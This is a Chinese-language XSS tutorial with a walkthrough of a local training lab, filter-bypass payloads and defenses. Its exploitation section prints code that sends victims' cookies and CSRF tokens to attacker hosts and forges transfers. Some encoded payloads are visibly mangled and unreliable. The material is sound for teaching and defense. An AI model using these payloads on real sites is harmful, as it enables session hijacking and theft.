[漏洞篇]XSS漏洞
一、 介紹
概念
XSS:通過JS達到攻擊效果
XSS全稱跨站腳本(Cross Site Scripting),為避免與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故縮寫為XSS。這是一種將任意 Javascript 代碼插入到其他Web用戶頁面里執行以達到攻擊目的的漏洞。攻擊者利用瀏覽器的動態展示數據功能,在HTML頁面里嵌入惡意代碼。當用戶瀏覽改頁時,這些潛入在HTML中的惡意代碼會被執行,用戶瀏覽器被攻擊者控制,從而達到攻擊者的特殊目的,如 cookie竊取等。
危害
攻擊者通過Web應用程序發送惡意代碼,一般以瀏覽器腳本的形式發送給不同的終端用戶。當一個Web程序的用戶輸入點沒有進行校驗和編碼,將很容易的導致XSS。
攻擊者可通過JS腳本實現:
1、網絡釣魚,包括獲取各類用戶賬號
2、竊取用戶cookies資料,從而獲取用戶隱私信息,或利用用戶身份進一步對網站執行操作;
3、劫持用戶(瀏覽器)會話,從而執行任意操作,例如非法轉賬、強制發表日志、電子郵件等
4、強制彈出廣告頁面、刷流量等
5、網頁掛馬;
6、進行惡意操作,如任意篡改頁面信息、刪除文章等
7、進行大量的客戶端攻擊,如ddos等
8、獲取客戶端信息,如用戶的瀏覽歷史、真實p、開放端口等
9、控制受害者機器向其他網站發起攻擊;
10、結合其他漏洞,如csrf,實施進步危害;
11、提升用戶權限,包括進一步滲透網站
12、傳播跨站腳本蠕蟲等
原理
形成XSS漏洞的主要原因是程序對輸入和輸出的控制不夠嚴格,導致“精心構造”的腳本輸入后,在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。主要原因是:瀏覽器執行了黑客帶有惡意的JS腳本。
分類
1. 反射型XSS
- 概念:又稱非持久型XSS,這種攻擊方式往往具有一次性,只在用戶單擊時觸發。跨站代碼一般存在鏈接中,當受害者請求這樣的鏈接時,跨站代碼經過服務端反射回來,這類跨站的代碼通常不存儲服務
- 常見注入點:網站的搜索欄、用戶登錄入口、輸入表單等地方,常用來竊取客戶端cookies或釣魚欺騙
- 漏洞產生原因:一般是網站只是簡單地將用戶輸入的數據直接或未經過完善的安全過濾就在瀏覽器中進行輸岀,導致輸岀的欻據中存在可被瀏覽器執行的代碼數據
- 攻擊方式:攻擊者通過電子郵件等方式將包含XSS代碼的惡意鏈接發送給目標用戶。當目標用戶訪問該鏈接時,服務器接受該目標用戶的請求并進行處理,然后服務器把帶有XSS的代碼發送給目標用戶的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本后,就會觸發XSS漏洞。由于此種類型的跨站代碼存在于URL中,所以黑客通常需要通過誘騙或加密變形等方式將存在惡意代碼的鏈接發給用戶,只有用戶點擊以后才能使得攻擊成功實施。
- 反射型XSS攻擊流程:
1.攻擊者尋找具有漏洞的網站
2.攻擊者給用戶發了一個帶有惡意字符串的鏈接
3.用戶點擊了該鏈接
4.服務器返回HTML文檔,此時該文檔已經包含了那個惡意字符串
5.客戶端執行了植入的惡意腳本,XSS攻擊就發生
2. 存儲型XSS
- 概念:存儲型XSS( Stored xss Attacks),也是持久型XSS,比反射型XSS更具有威脅性。。攻擊腳本將被永久的存放在目標服務器的數據庫或文件中。這是利用起來最方便的跨站類型,跨站代碼存儲于服務端(比如數據庫中)
- 常見注入點:論壇、博客、留言板、網站的留言、評論、日志等交互處。
- 漏洞產生原因:一般是由于Web應用程序對用戶輸入數據的不嚴格,導致Web應用程序將黑客輸入的惡意跨站攻擊數據信息保存在服務端的數據庫或其他文件形式中。
- 攻擊方式:攻擊者在發帖或留言的過程中,將惡意腳本連同正常信息一起注入到發布內容中。隨著發布內容被服務器存儲下來,惡意腳本也將永久的存放到服務器的后端存儲器中。當其他用戶瀏覽這個被注入了 惡意腳本的帖子時,惡意腳本就會在用戶的瀏覽器中得到執行。
- 存儲型XSS攻擊流程:
1.用戶提交了一條包含XSS代碼的留言到數據庫
2.當目標用戶查詢留言時,那些留言的內容會從服務器解析之后加載出來
3.瀏覽器發現有XSS代碼,就當做正常的HTML和JS解析執行
3. DOM型XSS
- 概念:DoM是文檔對象模型( Document Object Model)的縮寫。它是HTML文檔的對象表示,同時也是外部內容(例如 JavaScript)與HTML元素之間的接口。解析樹的根節點是“ Document"對象。DOM( Document object model),使用DOM能夠使程序和腳本能夠動態訪問和更新文檔的內容、結構和樣式。它是基于DoM文檔對象的一種漏洞,并且DOM型XSS是基于JS上的,并不需要與服務器進行交互。其通過修改頁面DOM節點數據信息而形成的ⅩSS跨站腳本攻擊。不同于反射型XSS和存儲型XSS,基于DOM的XSS跨站腳本攻擊往往需要針對具體的 Javascript DOM代碼進行分析,并根據實際情況進行XSS跨站腳本攻擊的利用。一種基于DOM的跨站,這是客戶端腳本本身解析不正確導致的安全問題
- 注入點:通過js腳本對對文檔對象進行編輯,從而修改頁面的元素。也就是說,客戶端的腳本程序可以DOM動態修改頁面的內容,從客戶端獲取DOM中的數據并在本地執行。由于DOM是在客戶端修改節點的,所 以基于DOM型的XSS漏洞不需要與服務器端交互,它只發生在客戶端處理數據的階段。
- 攻擊方式:用戶請求一個經過專門設計的URL,它由攻擊者提供,而且其中包含XSS代碼。服務器的響應不會以任何形式包含攻擊者的腳本,當用戶的瀏覽器處理這個響應時,DOM對象就會處理XSS代碼,導致存 在XSS漏洞。
- 攻擊流程:
1.攻擊者尋找具有漏洞的網站
2.攻擊者給用戶發了一個帶有惡意字符串的鏈接
3.用戶點擊了該鏈接
4.服務器返回HTML文檔,但是該文檔此時不包含那個惡意字符串
5.客戶端執行了該HTML文檔里的腳本,然后把惡意腳本植入了頁面
6.客戶端執行了植入的惡意腳本,XSS攻擊就發生了- 反射型XSS與DOM型區別:
1、反射型XSS攻擊中,服務器在返回HTML文檔的時候,就已經包含了惡意的腳本;
2、DOM型ⅩSS攻擊中,服務器在返回HTML文檔的時候,是不包含惡意腳本的;惡意腳本是在其執行了非惡意腳本后,被注入到文檔里的
通過JS腳本對對文檔對象進行編輯,從而修改頁面的元素。也就是說,客戶端的腳本程序可以DOM動態修改頁面的內容,從客戶端獲取DOM中的數據并在本地執行。由于DOM是在客戶端修改節點的,所以基于DOM型的XSS漏洞不需要與服務器端交互,它只發生在客戶端處理數據的階段。
4. 其他類型(MXSS、UXSS)
①MXSS(Mutation based Cross-Site-Scripting):突變型XSS
MXSS是一種利用瀏覽器中的解析器漏洞來執行惡意腳本的攻擊方式。這種攻擊方式不僅可以竊取用戶的敏感信息,還可以篡改網頁內容,甚至控制用戶會話。mXSS漏洞通常隱藏在前端代碼中,很難被發現。
原理:瀏覽器在解析HTML或修改DOM時(如通過innerHTML、框架的模板引擎等),可能對內容進行重新編碼或結構化調整。
HTML被認為是一種“寬容”的語言,因為它在遇到錯誤或意外代碼時具有寬容的特性。與一些更嚴格的編程語言不同,即使代碼編寫得不完美,HTML也會優先顯示內容。這種寬容的表現如下:
當呈現錯誤的標記時,瀏覽器不會崩潰或顯示錯誤信息,而是會嘗試盡可能地解釋和修復HTML。
例如:
- 將轉義字符(如<)恢復為原始字符(<)。
- 調整標簽閉合順序或修復格式錯誤的HTML。
- 這種自動修復行為可能使原本無害的轉義內容被還原為可執行的腳本。
案例1:
用戶輸入<img src=x οnerrοr=alert(1)>被轉義為<img src=x οnerrοr=alert(1)>后插入到DOM中。若后續通過innerHTML將內容修改為:
// escapedContent為轉義后的字符串 div.innerHTML = "User input: " + escapedContent;
瀏覽器可能將<解析為<,導致標簽被重建并執行onerror事件。
案例2:瀏覽器自動修復
攻擊者提交格式錯誤的HTML片段(如未閉合的標簽
②UXSS(Universal Cross-Site Scripting):通用型XSS
通用型XSS,也叫Universal XSS。UXSS保留了基本XSS的特點,利用漏洞,執行惡意代碼,但是有一個重要的區別:不同于常見的XSS,UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產生XSS的條件并執行代碼的一種攻擊類型。
通俗的說,就是原來我們進行XSS攻擊等都是針對Web應用本身,是因為Web應用本身存在漏洞才能被我們利用攻擊;而UXSS不同的是通過瀏覽器或者瀏覽器擴展的漏洞來”制作ⅩSS漏洞”,然后剩下的我們就可以像普通XSS那樣利用攻擊了。
簡單的說,UXSS不需要—個漏洞頁面來觸發攻擊,它可以滲透入安全沒有問題的頁面,從而創造一個漏洞,而該頁面原先是安全無漏洞的。 不僅是瀏覽器本身的漏洞,現在主流瀏覽器都支持擴展程序的安裝,而眾多的瀏覽器擴展程序可能導致帶來更多的漏洞和安全問題。 因為UXSS攻擊不需要頁面本身存在漏洞,同時可能訪問其他安全無漏洞頁面,使得UXSS成為XSS里危險和最具破壞性的攻擊類型之一
二、 實戰演示
靶場搭建
本地需要有docker環境,這里主要通過docker搭建靶場。
# 拉取鏡像
docker pull c0ny1/xss-challenge-tour # 運行容器
docker run -dt --name xss -p 8080:80 --rm c0ny1/xss-challenge-tour
# docker run -dt --name xss -p 8081:80 --rm c0ny1/xss-challenge-tour
輸入http://localhost:8080/訪問靶場:
實戰
Pass01:直接<script>構造js
-
我們來到第一關
-
發現頁面有展示test,而test的參數來源于name=test,也就是頁面會反顯URL中的name值。此時我們嘗試將name后面改為js腳本:<script>alert(‘xss’)</script>,讓瀏覽器在反顯階段執行js,最終實現xss注入。
-
回車,瀏覽器成功將js解析,成功完成xss注入
Pass02:閉合構造js
- 我們來到第二關,搜索框內輸入第一關的JS腳本:<script>alert(‘xss’)</script>。點擊搜索發現頁面并沒有執行js
- 我們f12查看元素,發現輸入的js腳本被當做了value值,因此瀏覽器并沒有執行我們注入的js
- 此時,我們可以在之前的腳本內容添加"> 實現對input標簽value值的閉合,于是我們的注入腳本就變成了
"> <script>alert('xss')</script>
- 點擊搜索,成功通關
Pass03:其他屬性,onmouseover
- 輸入我們第二關的腳本"> <script>alert(‘xss’)</script> 發現不起作用,的<>已經被過濾掉了,無法構成完整的腳本
- 因為此時是在input標簽內部,所以我們可以利用其他的語法來實現注入,并且不添加</script>,比如onmouseover屬性,當鼠標移動到該位置時,觸發。注入腳本:
xx' onmouseover='alert(/xss/)
3. 現在,我們只需要將鼠標移動到input搜索框中,觸發onmouseover事件即可
Pass04:引號變化
- 來到第四關,我們發現第三關的腳本無法使用了,因為構造的引號方式閉合問題,導致無法使用。
xx' onmouseover='alert(/xss/)
- 于是自然而然就想到,將注入腳本的單引號換成雙引號
xx" onmouseover="alert(/xss/)
Pass05:偽鏈接
- 來到第五關,我們輸入之前注入的腳本:
xx" onmouseover="alert(/xss/)
,發現on被替換為了o_n,于是onmouseover事件就失效了
- 事件無法使用了,下面我們可以嘗試通過偽鏈接方式假造一個超鏈接嘗試
# 新增a標簽,注入鏈接,點擊后隨機觸發腳本
"> <a href="javascript:alert('xss')">點我一下</a>
3. 點擊超鏈接,成功觸發腳本
Pass06:大小寫繞過
- 輸入XSS腳本嘗試:"><script>alert(/xss/)</script>發現script關鍵字被過濾
- 我們首先想到大小寫繞過,嘗試一下
"><SCRIPT>alert(/xss/)</SCRIPT>
- 發現成功繞過
Pass07:雙寫繞過
- 我們輸入腳本嘗試:"><script>alert(/xss/)</script>發現整個script被替換為空
- 遇到這種替換的,我們需要有一定敏感性,首先應該想到雙寫繞過
111"><scrscriptipt>alert(/xss/)</scrscriptipt>
- 發現成功繞過,執行腳本
Pass08:HTML字符實體編碼繞過
- 我們嘗試腳本"><script>alert(/xss/)</script>,發現script被過濾
- 我們嘗試javascript:alert(‘xss’)發現也被過濾替換
- 此時,我們可以嘗試編碼,將javascript:alert(‘xss’)進行編碼
編碼在線地址:https://config.net.cn/tools/HtmlEncode.html
javascript:alert('xss')
4. 點擊友情鏈接,發現成功觸發腳本
Pass09:http協議頭繞過
- 來到第九關,發現還是合法鏈接類型,于是嘗試第八關的腳本,發現提示我們鏈接不合法
# 編碼前內容:javascript:alert('xss')
javascript:alert('xss')
2. 看來是我們編碼前內容不滿足鏈接格式,作為超鏈接,需要http://或https://,于是我們猜測后端有校驗傳入的鏈接中是否有包含http,我們在編碼后的腳本末尾添加上//http://,//用于注釋后面的http://
javascript:alert('xss')//http://
3. 點擊鏈接,發現能正常被觸發
Pass10:隱藏輸入框繞過
- 來到第10關,我們發現頁面沒有輸入框讓我們傳參,但我們知道,輸入框只是讓用戶輸入參數的一種方式,沒有輸入框我們也可以進行傳參,先看看源碼,觀察需要我們輸入什么參數
- 我們嘗試在URL上輸入這三個參數
?t_link=1&t_history=2&t_sort=3
- 這下我們找到了XSS注入點,我們可以通過t_sort參數構造攻擊腳本,輸入
?t_sort=<script>alert(/xss/)</script>
,發現<script>被過濾
- 于是我們需要嘗試不帶<>的攻擊腳本,因為是輸入框,我們可以嘗試點擊事件,onclick
# 這里的type=""是為了覆蓋原有的tpye=hidden,讓輸入框暴露出來,這樣我們才能點擊觸發腳本
" onclick="alert(/xss/)" type=""
5. 我們點擊輸入框,發現成功觸發腳本
Pass11:Referer請求頭注入
- 我們嘗試上面的注入方式,發現沒有效果
# 這里的type=""是為了覆蓋原有的tpye=hidden,讓輸入框暴露出來,這樣我們才能點擊觸發腳本
" onclick="alert(/xss/)" type=""
- 此時我們可以嘗試HTTP請求頭,多次嘗試之后,我們發現HTTP 的Referer對應的值,會反顯到我們的form表單t_ref里。
tips:如果發現bp代理失效,抓不到包,可能是因為bp默認代理端口與我們靶場端口沖突了(8080),只需要重新配置bp代理端口或修改docker靶場映射端口即可
可以看到t_ref里的值已經成功變為了我們Referer的值:
下面我們就可以構造XSS語句,通過修改HTTP Referer實現XSS:
Referer: " onmouseover="alert(1)" type="text"
觸發XSS:
Pass12:User-Agent注入
Pass11 嘗試過了Referer,下面我們猜測t_ua指的是HTTP請求頭中的User-Agent,同時我們通過t_ua對應的值其實也可以看出來。本地電腦的User-Agent會反顯到這個表單的t_ua里。
于是,步驟與上面一致,我們bp抓包修改User-Agent:
//點擊觸發
User-Agent: " onclick="alert(/xss/)" type="text
Pass13:Cookie注入
來到本關,有了前面兩關的經驗,我們猜測這個隱藏表單里最后一個輸入框,對應的其實是HTTP請求頭的字段。那么t_cook,我們猜測是HTTP請求頭中的Cookie。
老規矩,還是通過Burpsuite抓包,然后注入XSS語句:
點擊輸入框,觸發XSS:
Pass14:圖片EXIF注入
來到14關,我們發現頁面直接黑屏,沒有任何內容
我們F12打開開發者工具,發現頁面存在iframe標簽,頁面通過<iframe>加載外部圖片查看器,理論上需利用圖片EXIF信息注入XSS,即需上傳包含惡意腳本的圖片,利用解析EXIF的漏洞觸發XSS
使用工具(如exiftool)修改圖片EXIF注釋:
exiftool -Comment='<img src=1 onerror=alert(1)>' image.jpg
然后我們上傳圖片,讓頁面解析,觸發xss漏洞。
Pass15:JS動態包含漏洞注入
來到第15關,我們發現只有一張圖片:
繼續查看源碼,我們發現本關使用的是AngularJS的ng-include動態包含文件
于是我們可以通過src參數引用外部文件,這里我們利用ng-include包含存在漏洞的Level1頁面,并傳遞XSS Payload,構造URL參數:
# 我們將外部文件的src鏈接指向第一關,并通過URL Payload構造XSS
# src后面拼接的參數將會被反顯到頁面的ng-include中
http://靶場地址/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'
因為我環境不滿足,所以這里貼一張別人的通關的效果圖:
Pass16:編碼繞過
我們發現keyword中的值會被反顯到頁面中:
同時經過測試,該關卡過濾了空格和script關鍵字,但未過濾尖括號,由于HTML中換行符%0a或%0d可替代空格,可以用于拼接事件屬性。故構造payload如下:
<img%0dsrc=a%0donerror=alert(1)>
Pass17:flash事件觸發
觀察頁面源碼發現,本關直接將URL后面的參數拼接到了embed中:
利用這個特性,我們可以第二參數傳入XSS Payload,構造XSS:
arg01=a&arg02=%20onmouseover=alert`1`
Pass18:flash事件觸發
本關payload與pass17相同:
arg01=a&arg02=%20onmouseover=alert`1`
Pass19:flash漏洞
本關是利用Flash XSS漏洞,需利用flash自身漏洞
原理:利用Flash文件(.swf)的參數處理缺陷,通過分析反編譯后的Flash代碼(如使用JPEXS工具),發現arg01=version時,arg02的值會被拼接到Flash的鏈接邏輯中,雖然參數通過htmlspecialchars實體化處理,但Flash內部未對href屬性內容充分過濾,且允許通過javascript:協議執行代碼,故可以構造payload
關鍵:
arg01需設置為version 觸發Flash中特定邏輯
arg02需構造包含惡意代碼的HTML標簽
通過<a>標簽的href屬性注入javascript:協議代碼
構造后的payload:
?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>?arg01=a&arg02="onmouseover=alert`1` "
這里我環境不允許,大家可以自行嘗試(其他人的效果圖貼到這里了):
Pass20:zeroclipboard.swf漏洞
本關通過標簽加載xsf04.swf文件(實際為zeroclipboard.swf的漏洞版本),而存在核心漏洞是Flash代碼未對參數進行嚴格過濾,導致通過URL參數注入惡意代碼
故反編譯zeroclipboard.swf后分析源碼:
- 可以看到Flash通過LoaderInfo從URL參數arg01和arg02中讀取值
- 關鍵漏洞函數為ExternalInterface.call
用于與JavaScript交互。故需構造參數閉合arg02原有邏輯并插入惡意代碼。
得到:
?arg01=id&arg02=xss\"))}catch(e){alert(/xss/)}//%26width%26height
三、繞過手段
1. 前端過濾
有些防止XSS是通過前端js判斷的,此時我們就可以BrupSuite抓包繞過或禁用js。
BrupSuite抓包改包繞過。
2. 雙寫繞過
<scri<script>pt>alert(xss)</scri<script>pt>
3. 事件過濾
替換其他事件,如:onclick,onmousemove事件
4. 大小寫繞過
<SCRIPT>aLeRT(111)</sCRIpt>
5. 注釋干擾繞過
如:<scri<!–test–> pt> alert(xss);</scr<!–test–> ipt>
6. 偽協議繞過
如:
111"> <a href= "javascript:alert(document.domain)">xss </a>< table background= "javascript:alert(/xss/)"> </table><img srC= "javascript:alert('ss);" >
7. 回車/空格/Tab繞過
// 回車
< img src= "javascript:alert('xss');" >// 空格
<img src= "javascript:alert('xss');" >// Tab
< img src= "javasc :ript:alert('ss');" >
8. 編碼繞過
Base64、JS編碼、16進制、Unicode編碼、HTML實體編碼、URL編碼
- Base64編碼繞過
如果過濾了 < > ’ " script,可以用base64編碼,eval(") eval函數把字符串 當做程序執行atob函數是將base64密文轉換為明文。
base64編碼多用于如下兩種情況:
- <a href= “可控點”>
- < iframe src= “可控點”>
舉例:
<a href= “data:text/html;base64,PGItZyBzcmM9eCBvbmVycm9yPWFsZXJOKDEpPg==”>test<
/a>
這樣當test A鏈接點擊時就會以data協議頁面以html/text的方式解析編碼為base64然后單點擊a鏈接時base64的編碼就被還原成我們原本的< img src=x οnerrοr= alert(1)>
- JS編碼
八進制:三個八進制數字,如果個數不夠,在前面補0,例如"e’的編碼為"\145"
- 16進制編碼
兩個十六進制數字,如果個數不夠,在前面補0,'e’的編碼為"\x65"
十六進制前面加上\x可以被JS識別
尖括號被轉義時,利用十六進制繞過
如:\x3cscript\x3ealert(document.domain);\x3c/script\x3e
- Unicode編碼繞過
四個十六進制數字,如果個數不夠,在前面補0,'e’的編碼為"\u0065"
十六進制前面加上\u00變成JS可識別的Unicode編碼
\u003cscript\u003ealert(document.domain);\u003c/script\u003e
- HTML編碼繞過
字符編碼:十進制、十六進制編碼,樣式為"&#數值;“,例如”<“可以編碼為”<和"<"
<img src="x"οnerrοr= “al&# 101;r 16;(1)”>
瀏覽器是不會在html|標簽里解析js編碼的,所以我們在οnerrοr=后面放js中的編碼是不會解析你放進去是什么就是什么。HTML5新增的實體命名編碼:
: => [冒號]
=> [換行]
<a href= “javasc ript:alert(1)”>click
- URL編碼
進行兩次URL全編碼
9. CSS繞過
- IE特性繞過XSS
- CSS特性繞過XSS
- IE中利用CSS觸發XSS
- 利用IE特性繞過XSS
IE中兩個反單引號hgj `` 可以閉合一個左邊雙引號
``οnmοusemοve= alert(1)
- CSS特性繞過XSS
設置background:url,利用JavaScript偽協議執行js,目前只有IE瀏覽器支持
background-color:# f00;background:url(javascript:alert(document.domain);");
低版本IE瀏覽器6 10 D版本彈窗成功
- IE中利用CSS觸發XSS
CSS中的注釋//
xss:expres//sion(if(!window.x){alert(document.domain);window.x= 1;})
四、漏洞利用
1. Cookie竊取
下面這個URL包含了受害者Cookie信息,當瀏覽器加載此圖像時,會自動向指定的服務器發起GET請求,請求參數中攜帶著竊取的Cookie。
- 創建圖像對象:通過document.createElement(‘img’)創建一個新的<img>元素
- 設置源地址(src屬性):將圖像的src屬性設置為攻擊者控制的服務器地址,并附帶上受害者當前頁面的Cookie。這里使用encodeURIComponent()函數對document.cookie返回的Cookie值進行URL編碼,確保任何特殊字符不會導致URL格式錯誤
img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie);
- 隱藏圖像:為了隱蔽操作,通常將圖像樣式設置為display: none;,使其在頁面上不可見,避免引起用戶的警覺。
img.style.display = 'none';
- 插入到文檔:最后,將這個帶有惡意目的的圖像元素添加到網頁的document.body中。瀏覽器會立即開始加載圖像,從而觸發了向攻擊者服務器發送帶有Cookie數據的HTTP請求。
document.body.appendChild(img);
- 攻擊者在其控制的服務器端接收并記錄這些攜帶Cookie信息的請求,隨后可以解析出Cookie值,用于后續的攻擊活動,如偽造身份登錄、實施欺詐操作等。
除了這種場景也可以通過評論區頁面,進行XSS會話劫持
完整XSS攻擊代碼:
var img = document.createElement('img');
img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie);
img.style.display = 'none'; // 隱藏圖片以避免引起用戶注意
document.body.appendChild(img); // 將圖片元素插入到頁面中,觸發HTTP請求
2. 重定向到釣魚網站(獲取用戶賬號密碼等)
通過下面代碼可直接將用戶頁面重定向到釣魚網站,截取用戶敏感信息
<script>window.location.href = "http://釣魚.com/";</script>
- 黑客通過郵件等方式誘導用戶點擊進入qq空間(實際是釣魚網站),比如說qq空間限時領取黃鉆、vip等,誘導用戶點擊鏈接
釣魚網站最直觀的就是看域名,可以看到目標網站域名 :qq.xps.com 盡管域名中出現了 qq 字樣,但是一級域名卻是 xps.com 這一點就直接暴露了釣魚網站的本性。
但早期還有一種利用拉丁字母注冊的域名偽造釣魚網站的案例,這種就比較逼真了,下面國光簡單列舉一些:# 真域名 www.oppo.com # 假域名 www.οppο.com # 真域名 www.vip.com # 假域名 www.νip.com
- 用戶看到qq空間,輸入自己的 QQ 賬號和密碼信息,點擊登錄后域名跳轉到真正的 QQ 官網
但第一次輸入點擊登錄后不會讓用戶登錄成功(因為是釣魚網站并非真實網站,沒有登錄后臺功能等),而是立即跳轉至真實網站登錄頁。
然后用戶再輸入自己的 QQ 賬號和密碼就可以成功登陸了。目前很多釣魚網站都是這種思路,這可以讓被釣者產生一種自己第一次是密碼不小心輸入錯誤的錯覺,從而放松警惕。
- 然后黑客就可以拿到用戶的賬號密碼了
然后釣魚網站的管理員每天會到自己的 QQ 空間釣魚管理中心里面看看今天又有哪些人上鉤
3. XSS + CSRF(跨站請求偽造)結合
通過這種方式可繞過CSRF Token保護。
首先利用XSS竊取用戶的CSRF Token:
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('https://attacker.com/steal?token=' + csrfToken);
然后偽造敏感操作請求(如轉賬):
fetch('/transfer', {method: 'POST',headers: {'X-CSRF-Token': csrfToken},body: 'to=attacker&amount=1000'
});
4. 任意網頁跳轉引流
網頁跳轉,等同于任意url跳轉。通過下面代碼,強制跳轉到對應網頁,進行引流
<script>window.location.href="https://www.baidu.com"</script>
<meta content="1;http://www.baidu.com/" http-equiv="refresh">
五、防御手段
1. 校驗用戶輸入
- 不信任任何用戶輸入:所有輸入數據均視為潛在惡意。過濾危險字符等
- 白名單機制:僅允許符合預期格式的輸入。
2. 安全Cookie限制
HttpOnly:阻止JavaScript訪問Cookie。
Secure:僅通過HTTPS傳輸Cookie。
SameSite:防止跨站請求偽造(CSRF)。
3. 避免使用高危API
- element.textContent替換element.innerHTML
- document.createElement()替換高危的document.write()
- JSON.parse()、函數封裝替換eval()
- document.textContent替代innerHTML,避免DOM型XSS
…
4. 使用CSP(內容安全策略)
通過HTTP頭 Content-Security-Policy 限制資源加載和腳本執行,限制頁面加載外部資源,阻止未經授權的腳本執行。
參考配置:
Content-Security-Policy: default-src 'none';script-src 'self' https://trusted-cdn.com;img-src 'self';style-src 'self' 'unsafe-inline';connect-src 'self';form-action 'self';frame-ancestors 'none';report-uri /csp-report;
5. 使用WAF
使用WAF(web應用防火墻),規則示例:攔截包含
參考文章:
https://cn-sec.com/archives/2682617.html
https://xz.aliyun.com/news/8054